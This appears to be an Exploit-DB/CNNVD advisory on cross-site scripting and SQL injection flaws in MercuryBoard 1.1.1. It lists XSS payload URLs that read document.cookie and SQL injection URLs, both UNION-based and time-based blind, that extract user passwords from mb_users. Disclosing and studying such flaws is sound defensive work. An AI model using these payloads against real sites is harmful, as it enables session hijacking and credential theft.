https://www.exploit-db.com/exploits/25059
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200501-276

MercuryBoard是一款功能强大的Web公告板系统。MercuryBoard1.1.1版本中存在多个跨站点脚本攻击漏洞。远程攻击者可以通过index.php的s、l、a、t、to或re参数，注入任意web脚本或HTML。

source: http://www.securityfocus.com/bid/12359/info

Multiple input validation vulnerabilities affect MercuryBoard. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in critical functionality.

An attacker may leverage these issues to execute arbitrary code in the browser of an unsuspecting user and manipulate SQL queries against the underlying database. This may facilitate the theft of authentication credentials, destruction of data, and other attacks. 

http://www.example.com/index.php?a=pm&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=members&l='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
http://www.example.com/index.php?a=cp&s='><script>alert(document.cookie)</script>

To leverage the SQL injection vulnerability:
http://www.example.com/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*

http://www.example.com/mercuryboard/index.php?a=post&s=reply&t=1%20UNION%20SELECT%20IF(SUBSTRING(user_password,1,1)%20=%20CHAR(53),BENCHMARK(1000000,MD5(CHAR(1))),null),null,null,null,null%20FROM%20mb_users%20WHERE%20user_group%20=%201/*

来源:XF
名称:mercuryboard-multiple-scripts-xss(19050)
链接:http://xforce.iss.net/xforce/xfdb/19050
来源:BID
名称:12359
链接:http://www.securityfocus.com/bid/12359
来源:BUGTRAQ
名称:20050124MultiplevulnerabilitiesinMercuryBoard1.1.1
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110661795632354&w;=2